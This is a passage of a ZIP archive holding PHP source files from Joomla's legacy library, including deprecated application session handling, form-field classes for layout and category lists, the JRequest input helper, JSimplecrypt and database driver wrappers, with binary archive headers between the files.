'database' && ($time % 2 || $session->isNew())) || ($handler === 'database' && $session->isNew())) { $this->checkSession(); } return $session; } /** * Checks the user session. * * If the session record doesn't exist, initialise it. * If session is new, create session variables * * @return void * * @since 1.6 * @deprecated 3.2 */ public function checkSession() { $db = JFactory::getDbo(); $session = JFactory::getSession(); $user = JFactory::getUser(); $query = $db->getQuery(true) ->select($db->quoteName('session_id')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quoteBinary($session->getId())); $db->setQuery($query, 0, 1); $exists = $db->loadResult(); // If the session record doesn't exist initialise it. if (!$exists) { $query->clear(); if ($session->isNew()) { $query->insert($db->quoteName('#__session')) ->columns($db->quoteName('session_id') . ', ' . $db->quoteName('client_id') . ', ' . $db->quoteName('time')) ->values($db->quote($session->getId()) . ', ' . (int) $this->getClientId() . ', ' . time()); $db->setQuery($query); } else { $query->insert($db->quoteName('#__session')) ->columns( $db->quoteName('session_id') . ', ' . $db->quoteName('client_id') . ', ' . $db->quoteName('guest') . ', ' . $db->quoteName('time') . ', ' . $db->quoteName('userid') . ', ' . $db->quoteName('username') ) ->values( $db->quote($session->getId()) . ', ' . (int) $this->getClientId() . ', ' . (int) $user->get('guest') . ', ' . (int) $session->get('session.timer.start') . ', ' . (int) $user->get('id') . ', ' . $db->quote($user->get('username')) ); $db->setQuery($query); } // If the insert failed, exit the application. try { $db->execute(); } catch (RuntimeException $e) { jexit($e->getMessage()); } } } /** * After the session has been started we need to populate it with some default values. * * @return void * * @since 3.0 * @deprecated 3.2 */ public function afterSessionStart() { $session = JFactory::getSession(); if ($session->isNew()) { $session->set('registry', new Registry); $session->set('user', new JUser); } } /** * Gets the client id of the current running application. * * @return integer A client identifier. * * @since 1.5 * @deprecated 3.2 */ public function getClientId() { return $this->_clientId; } /** * Is admin interface? * * @return boolean True if this application is administrator. * * @since 1.0.2 * @deprecated 3.2 */ public function isAdmin() { return $this->isClient('administrator'); } /** * Is site interface? * * @return boolean True if this application is site. * * @since 1.5 * @deprecated 3.2 */ public function isSite() { return $this->isClient('site'); } /** * Check the client interface by name. * * @param string $identifier String identifier for the application interface * * @return boolean True if this application is of the given type client interface. * * @since 3.7.0 */ public function isClient($identifier) { return $this->getName() == $identifier; } /** * Method to determine if the host OS is Windows * * @return boolean True if Windows OS * * @since 1.6 * @deprecated 4.0 Use the IS_WIN constant instead. */ public static function isWinOs() { JLog::add('JApplication::isWinOS() is deprecated. Use the IS_WIN constant instead.', JLog::WARNING, 'deprecated'); return IS_WIN; } /** * Determine if we are using a secure (SSL) connection. * * @return boolean True if using SSL, false if not. * * @since 3.0 * @deprecated 3.2 */ public function isSSLConnection() { return (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') || getenv('SSL_PROTOCOL_VERSION'); } /** * Returns the response as a string. * * @return string The response * * @since 1.6 * @deprecated 3.2 */ public function __toString() { $compress = $this->get('gzip', false); return JResponse::toString($compress); } } PK���\6n��%legacy/form/field/componentlayout.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.folder'); /** * Form Field to display a list of the layouts for a component view from * the extension or template overrides. * * @since 1.6 */ class JFormFieldComponentlayout extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'ComponentLayout'; /** * Method to get the field input for a component layout field. * * @return string The field input. * * @since 1.6 */ protected function getInput() { // Get the client id. $clientId = $this->element['client_id']; if ($clientId === null && $this->form instanceof JForm) { $clientId = $this->form->getValue('client_id'); } $clientId = (int) $clientId; $client = JApplicationHelper::getClientInfo($clientId); // Get the extension. $extension = (string) $this->element['extension']; if (empty($extension) && ($this->form instanceof JForm)) { $extension = $this->form->getValue('extension'); } $extension = preg_replace('#\W#', '', $extension); $template = (string) $this->element['template']; $template = preg_replace('#\W#', '', $template); $template_style_id = ''; if ($this->form instanceof JForm) { $template_style_id = $this->form->getValue('template_style_id'); $template_style_id = preg_replace('#\W#', '', $template_style_id); } $view = (string) $this->element['view']; $view = preg_replace('#\W#', '', $view); // If a template, extension and view are present build the options. if ($extension && $view && $client) { // Load language file $lang = JFactory::getLanguage(); $lang->load($extension . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($extension . '.sys', JPATH_ADMINISTRATOR . '/components/' . $extension, null, false, true); // Get the database object and a new query object. $db = JFactory::getDbo(); $query = $db->getQuery(true); // Build the query. $query->select('e.element, e.name') ->from('#__extensions as e') ->where('e.client_id = ' . (int) $clientId) ->where('e.type = ' . $db->quote('template')) ->where('e.enabled = 1'); if ($template) { $query->where('e.element = ' . $db->quote($template)); } if ($template_style_id) { $query->join('LEFT', '#__template_styles as s on s.template=e.element') ->where('s.id=' . (int) $template_style_id); } // Set the query and load the templates. $db->setQuery($query); $templates = $db->loadObjectList('element'); // Build the search paths for component layouts. $component_path = JPath::clean($client->path . '/components/' . $extension . '/views/' . $view . '/tmpl'); // Prepare array of component layouts $component_layouts = array(); // Prepare the grouped list $groups = array(); // Add a Use Global option if useglobal="true" in XML file if ((string) $this->element['useglobal'] === 'true') { $groups[JText::_('JOPTION_FROM_STANDARD')]['items'][] = JHtml::_('select.option', '', JText::_('JGLOBAL_USE_GLOBAL')); } // Add the layout options from the component path. if (is_dir($component_path) && ($component_layouts = JFolder::files($component_path, '^[^_]*\.xml$', false, true))) { // Create the group for the component $groups['_'] = array(); $groups['_']['id'] = $this->id . '__'; $groups['_']['text'] = JText::sprintf('JOPTION_FROM_COMPONENT'); $groups['_']['items'] = array(); foreach ($component_layouts as $i => $file) { // Attempt to load the XML file. if (!$xml = simplexml_load_file($file)) { unset($component_layouts[$i]); continue; } // Get the help data from the XML file if present. if (!$menu = $xml->xpath('layout[1]')) { unset($component_layouts[$i]); continue; } $menu = $menu[0]; // Add an option to the component group $value = basename($file, '.xml'); $component_layouts[$i] = $value; $text = isset($menu['option']) ? JText::_($menu['option']) : (isset($menu['title']) ? JText::_($menu['title']) : $value); $groups['_']['items'][] = JHtml::_('select.option', '_:' . $value, $text); } } // Loop on all templates if ($templates) { foreach ($templates as $template) { // Load language file $lang->load('tpl_' . $template->element . '.sys', $client->path, null, false, true) || $lang->load('tpl_' . $template->element . '.sys', $client->path . '/templates/' . $template->element, null, false, true); $template_path = JPath::clean( $client->path . '/templates/' . $template->element . '/html/' . $extension . '/' . $view ); // Add the layout options from the template path. if (is_dir($template_path) && ($files = JFolder::files($template_path, '^[^_]*\.php$', false, true))) { foreach ($files as $i => $file) { // Remove layout files that exist in the component folder if (in_array(basename($file, '.php'), $component_layouts)) { unset($files[$i]); } } if (count($files)) { // Create the group for the template $groups[$template->name] = array(); $groups[$template->name]['id'] = $this->id . '_' . $template->element; $groups[$template->name]['text'] = JText::sprintf('JOPTION_FROM_TEMPLATE', $template->name); $groups[$template->name]['items'] = array(); foreach ($files as $file) { // Add an option to the template group $value = basename($file, '.php'); $text = $lang ->hasKey( $key = strtoupper( 'TPL_' . $template->name . '_' . $extension . '_' . $view . '_LAYOUT_' . $value ) ) ? JText::_($key) : $value; $groups[$template->name]['items'][] = JHtml::_('select.option', $template->element . ':' . $value, $text); } } } } } // Compute attributes for the grouped list $attr = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : ''; $attr .= $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ''; // Prepare HTML code $html = array(); // Compute the current selected values $selected = array($this->value); // Add a grouped list $html[] = JHtml::_( 'select.groupedlist', $groups, $this->name, array('id' => $this->id, 'group.id' => 'id', 'list.attr' => $attr, 'list.select' => $selected) ); return implode($html); } else { return ''; } } } PK���\�yL;;legacy/form/field/category.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Supports an HTML select list of categories * * @since 1.6 */ class JFormFieldCategory extends JFormFieldList { /** * The form field type. * * @var string * @since 1.6 */ public $type = 'Category'; /** * Method to get the field options for category * Use the extension attribute in a form to specify the.specific extension for * which categories should be displayed. * Use the show_root attribute to specify whether to show the global category root in the list. * * @return array The field option objects. * * @since 1.6 */ protected function getOptions() { $options = array(); $extension = $this->element['extension'] ? (string) $this->element['extension'] : (string) $this->element['scope']; $published = (string) $this->element['published']; $language = (string) $this->element['language']; // Load the category options for a given extension. if (!empty($extension)) { // Filter over published state or not depending upon if it is present. $filters = array(); if ($published) { $filters['filter.published'] = explode(',', $published); } // Filter over language depending upon if it is present. if ($language) { $filters['filter.language'] = explode(',', $language); } if ($filters === array()) { $options = JHtml::_('category.options', $extension); } else { $options = JHtml::_('category.options', $extension, $filters); } // Verify permissions. If the action attribute is set, then we scan the options. if ((string) $this->element['action']) { // Get the current user object. $user = JFactory::getUser(); foreach ($options as $i => $option) { /* * To take save or create in a category you need to have create rights for that category * unless the item is already in that category. * Unset the option if the user isn't authorised for it. In this field assets are always categories. */ if ($user->authorise('core.create', $extension . '.category.' . $option->value) === false) { unset($options[$i]); } } } if (isset($this->element['show_root'])) { array_unshift($options, JHtml::_('select.option', '0', JText::_('JGLOBAL_ROOT'))); } } else { JLog::add(JText::_('JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY'), JLog::WARNING, 'jerror'); } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK���\:�bo��"legacy/form/field/modulelayout.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.folder'); /** * Form Field to display a list of the layouts for module display from the module or template overrides. * * @since 1.6 */ class JFormFieldModulelayout extends JFormField { /** * The form field type. * * @var string * @since 1.6 */ protected $type = 'ModuleLayout'; /** * Method to get the field input for module layouts. * * @return string The field input. * * @since 1.6 */ protected function getInput() { // Get the client id. $clientId = $this->element['client_id']; if ($clientId === null && $this->form instanceof JForm) { $clientId = $this->form->getValue('client_id'); } $clientId = (int) $clientId; $client = JApplicationHelper::getClientInfo($clientId); // Get the module. $module = (string) $this->element['module']; if (empty($module) && ($this->form instanceof JForm)) { $module = $this->form->getValue('module'); } $module = preg_replace('#\W#', '', $module); // Get the template. $template = (string) $this->element['template']; $template = preg_replace('#\W#', '', $template); // Get the style. $template_style_id = ''; if ($this->form instanceof JForm) { $template_style_id = $this->form->getValue('template_style_id'); $template_style_id = preg_replace('#\W#', '', $template_style_id); } // If an extension and view are present build the options. if ($module && $client) { // Load language file $lang = JFactory::getLanguage(); $lang->load($module . '.sys', $client->path, null, false, true) || $lang->load($module . '.sys', $client->path . '/modules/' . $module, null, false, true); // Get the database object and a new query object. $db = JFactory::getDbo(); $query = $db->getQuery(true); // Build the query. $query->select('element, name') ->from('#__extensions as e') ->where('e.client_id = ' . (int) $clientId) ->where('e.type = ' . $db->quote('template')) ->where('e.enabled = 1'); if ($template) { $query->where('e.element = ' . $db->quote($template)); } if ($template_style_id) { $query->join('LEFT', '#__template_styles as s on s.template=e.element') ->where('s.id=' . (int) $template_style_id); } // Set the query and load the templates. $db->setQuery($query); $templates = $db->loadObjectList('element'); // Build the search paths for module layouts. $module_path = JPath::clean($client->path . '/modules/' . $module . '/tmpl'); // Prepare array of component layouts $module_layouts = array(); // Prepare the grouped list $groups = array(); // Add the layout options from the module path. if (is_dir($module_path) && ($module_layouts = JFolder::files($module_path, '^[^_]*\.php$'))) { // Create the group for the module $groups['_'] = array(); $groups['_']['id'] = $this->id . '__'; $groups['_']['text'] = JText::sprintf('JOPTION_FROM_MODULE'); $groups['_']['items'] = array(); foreach ($module_layouts as $file) { // Add an option to the module group $value = basename($file, '.php'); $text = $lang->hasKey($key = strtoupper($module . '_LAYOUT_' . $value)) ? JText::_($key) : $value; $groups['_']['items'][] = JHtml::_('select.option', '_:' . $value, $text); } } // Loop on all templates if ($templates) { foreach ($templates as $template) { // Load language file $lang->load('tpl_' . $template->element . '.sys', $client->path, null, false, true) || $lang->load('tpl_' . $template->element . '.sys', $client->path . '/templates/' . $template->element, null, false, true); $template_path = JPath::clean($client->path . '/templates/' . $template->element . '/html/' . $module); // Add the layout options from the template path. if (is_dir($template_path) && ($files = JFolder::files($template_path, '^[^_]*\.php$'))) { foreach ($files as $i => $file) { // Remove layout that already exist in component ones if (in_array($file, $module_layouts)) { unset($files[$i]); } } if (count($files)) { // Create the group for the template $groups[$template->element] = array(); $groups[$template->element]['id'] = $this->id . '_' . $template->element; $groups[$template->element]['text'] = JText::sprintf('JOPTION_FROM_TEMPLATE', $template->name); $groups[$template->element]['items'] = array(); foreach ($files as $file) { // Add an option to the template group $value = basename($file, '.php'); $text = $lang->hasKey($key = strtoupper('TPL_' . $template->element . '_' . $module . '_LAYOUT_' . $value)) ? JText::_($key) : $value; $groups[$template->element]['items'][] = JHtml::_('select.option', $template->element . ':' . $value, $text); } } } } } // Compute attributes for the grouped list $attr = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : ''; $attr .= $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ''; // Prepare HTML code $html = array(); // Compute the current selected values $selected = array($this->value); // Add a grouped list $html[] = JHtml::_( 'select.groupedlist', $groups, $this->name, array('id' => $this->id, 'group.id' => 'id', 'list.attr' => $attr, 'list.select' => $selected) ); return implode($html); } else { return ''; } } } PK���\<3L�� legacy/dispatcher/dispatcher.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Dispatcher * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Deprecated class placeholder. You should use JEventDispatcher instead. * * @since 1.5 * @deprecated 3.0 */ class JDispatcher extends JEventDispatcher { /** * Constructor. * * @since 1.5 */ public function __construct() { JLog::add('JDispatcher is deprecated. Use JEventDispatcher instead.', JLog::WARNING, 'deprecated'); parent::__construct(); } } PK���\�|���9�9legacy/request/request.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Request * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Create the request global object */ $GLOBALS['_JREQUEST'] = array(); /** * Set the available masks for cleaning variables */ const JREQUEST_NOTRIM = 1; const JREQUEST_ALLOWRAW = 2; const JREQUEST_ALLOWHTML = 4; JLog::add('JRequest is deprecated.', JLog::WARNING, 'deprecated'); /** * JRequest Class * * This class serves to provide the Joomla Platform with a common interface to access * request variables. This includes $_POST, $_GET, and naturally $_REQUEST. Variables * can be passed through an input filter to avoid injection or returned raw. * * @since 1.5 * @deprecated 1.7 Get the JInput object from the application instead */ class JRequest { /** * Gets the full request path. * * @return string * * @since 1.5 * @deprecated 1.7 */ public static function getUri() { $uri = JUri::getInstance(); return $uri->toString(array('path', 'query')); } /** * Gets the request method. * * @return string * * @since 1.5 * @deprecated 1.7 Use JInput::getMethod() instead */ public static function getMethod() { return strtoupper($_SERVER['REQUEST_METHOD']); } /** * Fetches and returns a given variable. * * The default behaviour is fetching variables depending on the * current request method: GET and HEAD will result in returning * an entry from $_GET, POST and PUT will result in returning an * entry from $_POST. * * You can force the source by setting the $hash parameter: * * post $_POST * get $_GET * files $_FILES * cookie $_COOKIE * env $_ENV * server $_SERVER * method via current $_SERVER['REQUEST_METHOD'] * default $_REQUEST * * @param string $name Variable name. * @param mixed $default Default value if the variable does not exist. * @param string $hash Where the var should come from (POST, GET, FILES, COOKIE, METHOD). * @param string $type Return type for the variable, for valid values see {@link JFilterInput::clean()}. * @param integer $mask Filter mask for the variable. * * @return mixed Requested variable. * * @since 1.5 * @deprecated 1.7 Use JInput::get() */ public static function getVar($name, $default = null, $hash = 'default', $type = 'none', $mask = 0) { // Ensure hash and type are uppercase $hash = strtoupper($hash); if ($hash === 'METHOD') { $hash = strtoupper($_SERVER['REQUEST_METHOD']); } $type = strtoupper($type); $sig = $hash . $type . $mask; // Get the input hash switch ($hash) { case 'GET': $input = &$_GET; break; case 'POST': $input = &$_POST; break; case 'FILES': $input = &$_FILES; break; case 'COOKIE': $input = &$_COOKIE; break; case 'ENV': $input = &$_ENV; break; case 'SERVER': $input = &$_SERVER; break; default: $input = &$_REQUEST; $hash = 'REQUEST'; break; } if (isset($GLOBALS['_JREQUEST'][$name]['SET.' . $hash]) && ($GLOBALS['_JREQUEST'][$name]['SET.' . $hash] === true)) { // Get the variable from the input hash $var = (isset($input[$name]) && $input[$name] !== null) ? $input[$name] : $default; $var = self::_cleanVar($var, $mask, $type); } elseif (!isset($GLOBALS['_JREQUEST'][$name][$sig])) { if (isset($input[$name])) { // Get the variable from the input hash and clean it $var = self::_cleanVar($input[$name], $mask, $type); $GLOBALS['_JREQUEST'][$name][$sig] = $var; } elseif ($default !== null) { // Clean the default value $var = self::_cleanVar($default, $mask, $type); } else { $var = $default; } } else { $var = $GLOBALS['_JREQUEST'][$name][$sig]; } return $var; } /** * Fetches and returns a given filtered variable. The integer * filter will allow only digits and the - sign to be returned. This is currently * only a proxy function for getVar(). * * See getVar() for more in-depth documentation on the parameters. * * @param string $name Variable name. * @param integer $default Default value if the variable does not exist. * @param string $hash Where the var should come from (POST, GET, FILES, COOKIE, METHOD). * * @return integer Requested variable. * * @since 1.5 * @deprecated 1.7 */ public static function getInt($name, $default = 0, $hash = 'default') { return self::getVar($name, $default, $hash, 'int'); } /** * Fetches and returns a given filtered variable. The unsigned integer * filter will allow only digits to be returned. This is currently * only a proxy function for getVar(). * * See getVar() for more in-depth documentation on the parameters. * * @param string $name Variable name. * @param integer $default Default value if the variable does not exist. * @param string $hash Where the var should come from (POST, GET, FILES, COOKIE, METHOD). * * @return integer Requested variable. * * @since 1.7 * @deprecated 1.7 */ public static function getUInt($name, $default = 0, $hash = 'default') { return self::getVar($name, $default, $hash, 'uint'); } /** * Fetches and returns a given filtered variable. The float * filter only allows digits and periods. This is currently * only a proxy function for getVar(). * * See getVar() for more in-depth documentation on the parameters. * * @param string $name Variable name. * @param float $default Default value if the variable does not exist. * @param string $hash Where the var should come from (POST, GET, FILES, COOKIE, METHOD). * * @return float Requested variable. * * @since 1.5 * @deprecated 1.7 */ public static function getFloat($name, $default = 0.0, $hash = 'default') { return self::getVar($name, $default, $hash, 'float'); } /** * Fetches and returns a given filtered variable. The bool * filter will only return true/false bool values. This is * currently only a proxy function for getVar(). * * See getVar() for more in-depth documentation on the parameters. * * @param string $name Variable name. * @param boolean $default Default value if the variable does not exist. * @param string $hash Where the var should come from (POST, GET, FILES, COOKIE, METHOD). * * @return boolean Requested variable. * * @since 1.5 * @deprecated 1.7 */ public static function getBool($name, $default = false, $hash = 'default') { return self::getVar($name, $default, $hash, 'bool'); } /** * Fetches and returns a given filtered variable. The word * filter only allows the characters [A-Za-z_]. This is currently * only a proxy function for getVar(). * * See getVar() for more in-depth documentation on the parameters. * * @param string $name Variable name. * @param string $default Default value if the variable does not exist. * @param string $hash Where the var should come from (POST, GET, FILES, COOKIE, METHOD). * * @return string Requested variable. * * @since 1.5 * @deprecated 1.7 */ public static function getWord($name, $default = '', $hash = 'default') { return self::getVar($name, $default, $hash, 'word'); } /** * Cmd (Word and Integer) filter * * Fetches and returns a given filtered variable. The cmd * filter only allows the characters [A-Za-z0-9.-_]. This is * currently only a proxy function for getVar(). * * See getVar() for more in-depth documentation on the parameters. * * @param string $name Variable name * @param string $default Default value if the variable does not exist * @param string $hash Where the var should come from (POST, GET, FILES, COOKIE, METHOD) * * @return string Requested variable * * @since 1.5 * @deprecated 1.7 */ public static function getCmd($name, $default = '', $hash = 'default') { return self::getVar($name, $default, $hash, 'cmd'); } /** * Fetches and returns a given filtered variable. The string * filter deletes 'bad' HTML code, if not overridden by the mask. * This is currently only a proxy function for getVar(). * * See getVar() for more in-depth documentation on the parameters. * * @param string $name Variable name * @param string $default Default value if the variable does not exist * @param string $hash Where the var should come from (POST, GET, FILES, COOKIE, METHOD) * @param integer $mask Filter mask for the variable * * @return string Requested variable * * @since 1.5 * @deprecated 1.7 */ public static function getString($name, $default = '', $hash = 'default', $mask = 0) { // Cast to string, in case JREQUEST_ALLOWRAW was specified for mask return (string) self::getVar($name, $default, $hash, 'string', $mask); } /** * Set a variable in one of the request variables. * * @param string $name Name * @param string $value Value * @param string $hash Hash * @param boolean $overwrite Boolean * * @return string Previous value * * @since 1.5 * @deprecated 1.7 */ public static function setVar($name, $value = null, $hash = 'method', $overwrite = true) { // If overwrite is true, makes sure the variable hasn't been set yet if (!$overwrite && array_key_exists($name, $_REQUEST)) { return $_REQUEST[$name]; } // Clean global request var $GLOBALS['_JREQUEST'][$name] = array(); // Get the request hash value $hash = strtoupper($hash); if ($hash === 'METHOD') { $hash = strtoupper($_SERVER['REQUEST_METHOD']); } $previous = array_key_exists($name, $_REQUEST) ? $_REQUEST[$name] : null; switch ($hash) { case 'GET': $_GET[$name] = $value; $_REQUEST[$name] = $value; break; case 'POST': $_POST[$name] = $value; $_REQUEST[$name] = $value; break; case 'COOKIE': $_COOKIE[$name] = $value; $_REQUEST[$name] = $value; break; case 'FILES': $_FILES[$name] = $value; break; case 'ENV': $_ENV[$name] = $value; break; case 'SERVER': $_SERVER[$name] = $value; break; } // Mark this variable as 'SET' $GLOBALS['_JREQUEST'][$name]['SET.' . $hash] = true; $GLOBALS['_JREQUEST'][$name]['SET.REQUEST'] = true; return $previous; } /** * Fetches and returns a request array. * * The default behaviour is fetching variables depending on the * current request method: GET and HEAD will result in returning * $_GET, POST and PUT will result in returning $_POST. * * You can force the source by setting the $hash parameter: * * post $_POST * get $_GET * files $_FILES * cookie $_COOKIE * env $_ENV * server $_SERVER * method via current $_SERVER['REQUEST_METHOD'] * default $_REQUEST * * @param string $hash to get (POST, GET, FILES, METHOD). * @param integer $mask Filter mask for the variable. * * @return mixed Request hash. * * @since 1.5 * @deprecated 1.7 Use JInput::get() * @see JInput */ public static function get($hash = 'default', $mask = 0) { $hash = strtoupper($hash); if ($hash === 'METHOD') { $hash = strtoupper($_SERVER['REQUEST_METHOD']); } switch ($hash) { case 'GET': $input = $_GET; break; case 'POST': $input = $_POST; break; case 'FILES': $input = $_FILES; break; case 'COOKIE': $input = $_COOKIE; break; case 'ENV': $input = &$_ENV; break; case 'SERVER': $input = &$_SERVER; break; default: $input = $_REQUEST; break; } return self::_cleanVar($input, $mask); } /** * Sets a request variable. * * @param array $array An associative array of key-value pairs. * @param string $hash The request variable to set (POST, GET, FILES, METHOD). * @param boolean $overwrite If true and an existing key is found, the value is overwritten, otherwise it is ignored. * * @return void * * @since 1.5 * @deprecated 1.7 Use JInput::set() */ public static function set($array, $hash = 'default', $overwrite = true) { foreach ($array as $key => $value) { self::setVar($key, $value, $hash, $overwrite); } } /** * Checks for a form token in the request. * * Use in conjunction with JHtml::_('form.token'). * * @param string $method The request method in which to look for the token key. * * @return boolean True if found and valid, false otherwise. * * @since 1.5 * @deprecated 1.7 Use JSession::checkToken() instead. Note that 'default' has to become 'request'. */ public static function checkToken($method = 'post') { if ($method === 'default') { $method = 'request'; } return JSession::checkToken($method); } /** * Clean up an input variable. * * @param mixed $var The input variable. * @param integer $mask Filter bit mask. * 1 = no trim: If this flag is cleared and the input is a string, the string will have leading and trailing * whitespace trimmed. * 2 = allow_raw: If set, no more filtering is performed, higher bits are ignored. * 4 = allow_html: HTML is allowed, but passed through a safe HTML filter first. If set, no more filtering * is performed. If no bits other than the 1 bit is set, a strict filter is applied. * @param string $type The variable type {@see JFilterInput::clean()}. * * @return mixed Same as $var * * @since 1.5 * @deprecated 1.7 */ protected static function _cleanVar($var, $mask = 0, $type = null) { $mask = (int) $mask; // If the no trim flag is not set, trim the variable if (!($mask & 1) && is_string($var)) { $var = trim($var); } // Now we handle input filtering if ($mask & 2) { // If the allow raw flag is set, do not modify the variable } elseif ($mask & 4) { // If the allow HTML flag is set, apply a safe HTML filter to the variable $safeHtmlFilter = JFilterInput::getInstance(null, null, 1, 1); $var = $safeHtmlFilter->clean($var, $type); } else { // Since no allow flags were set, we will apply the most strict filter to the variable // $tags, $attr, $tag_method, $attr_method, $xss_auto use defaults. $noHtmlFilter = JFilterInput::getInstance(); $var = $noHtmlFilter->clean($var, $type); } return $var; } } PK���\F���"legacy/simplecrypt/simplecrypt.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Simplecrypt * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * JSimpleCrypt is a very simple encryption algorithm for encrypting/decrypting strings * * @since 1.5 * @deprecated 2.5.5 Use JCrypt instead. */ class JSimplecrypt { /** * Encryption/Decryption Key * * @var JCrypt * @since 3.0 * @deprecated 3.0 Use JCrypt instead. */ private $_crypt; /** * Object Constructor takes an optional key to be used for encryption/decryption. If no key is given then the * secret word from the configuration object is used. * * @param string $privateKey Optional encryption key * * @since 1.5 * @deprecated 2.5.5 Use JCrypt instead. */ public function __construct($privateKey = null) { JLog::add('JSimpleCrypt is deprecated. Use JCrypt instead.', JLog::WARNING, 'deprecated'); if (empty($privateKey)) { $privateKey = md5(JFactory::getConfig()->get('secret')); } // Build the JCryptKey object. $key = new JCryptKey('simple', $privateKey, $privateKey); // Setup the JCrypt object. $this->_crypt = new JCrypt(new JCryptCipherSimple, $key); } /** * Decrypt a string * * @param string $s String to decrypt * * @return string * * @since 1.5 * @deprecated 2.5.5 Use JCrypt instead. */ public function decrypt($s) { return $this->_crypt->decrypt($s); } /** * Encrypt a string * * @param string $s String to encrypt * * @return string * * @since 1.5 * @deprecated 2.5.5 Use JCrypt instead. */ public function encrypt($s) { return $this->_crypt->encrypt($s); } } PK���\!�t'AAlegacy/database/mysql.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Database * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('JDatabaseMysql is deprecated, use JDatabaseDriverMysql instead.', JLog::WARNING, 'deprecated'); /** * MySQL database driver * * @link http://dev.mysql.com/doc/ * @since 1.5 * @deprecated 3.0 Use JDatabaseDriverMysql instead. */ class JDatabaseMysql extends JDatabaseDriverMysql { } PK���\4��legacy/database/exception.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('JDatabaseException is deprecated, use SPL Exceptions instead.', JLog::WARNING, 'deprecated'); /** * Exception class definition for the Database subpackage. * * @since 1.7 * @deprecated 2.5.5 */ class JDatabaseException extends RuntimeException { } PK���\�7����legacy/database/sqlazure.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('JDatabaseSqlazure is deprecated, use JDatabaseDriverSqlazure instead.', JLog::WARNING, 'deprecated'); /** * SQL Server database driver * * @link https://azure.microsoft.com/en-us/documentation/services/sql-database/ * @since 1.7 * @deprecated 3.0 Use JDatabaseDriverSqlazure instead. */ class JDatabaseSqlazure extends JDatabaseDriverSqlazure { } PK���\;K [[legacy/database/mysqli.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Database * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('JDatabaseMysqli is deprecated, use JDatabaseDriverMysqli instead.', JLog::WARNING, 'deprecated'); /** * MySQLi database driver * * @link https://www.php.net/manual/en/book.mysqli.php * @since 1.5 * @deprecated 3.0 Use JDatabaseDriverMysqli instead. */ class JDatabaseMysqli extends JDatabaseDriverMysqli { } PK���\ȭ��pplegacy/database/sqlsrv.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('JDatabaseSqlsrv is deprecated, use JDatabaseDriverSqlsrv instead.', JLog::WARNING, 'deprecated'); /** * SQL Server database driver * * @link https://msdn.microsoft.com/en-us/library/cc296152(SQL.90).aspx * @since 1.7 * @deprecated 3.0 Use JDatabaseDriverSqlsrv instead. */ class JDatabaseSqlsrv extends JDatabaseDriverSqlsrv { } PK���\j��legacy/simplepie/factory.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Simplepie * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; jimport('simplepie.simplepie'); /** * Class to maintain a pathway. * * The user's navigated path within the application. * * @since 3.0 * @deprecated 3.0 Use JFeed or supply your own methods */ class JSimplepieFactory { /** * Get a parsed XML Feed Source * * @param string $url URL for feed source. * @param integer $cacheTime Time to cache feed for (using internal cache mechanism). * * @return SimplePie|boolean SimplePie parsed object on success, false on failure. * * @since 3.0 * @deprecated 3.0 Use JFeedFactory($url) instead. */ public static function getFeedParser($url, $cacheTime = 0) { JLog::add(__METHOD__ . ' is deprecated. Use JFeedFactory() or supply Simple Pie instead.', 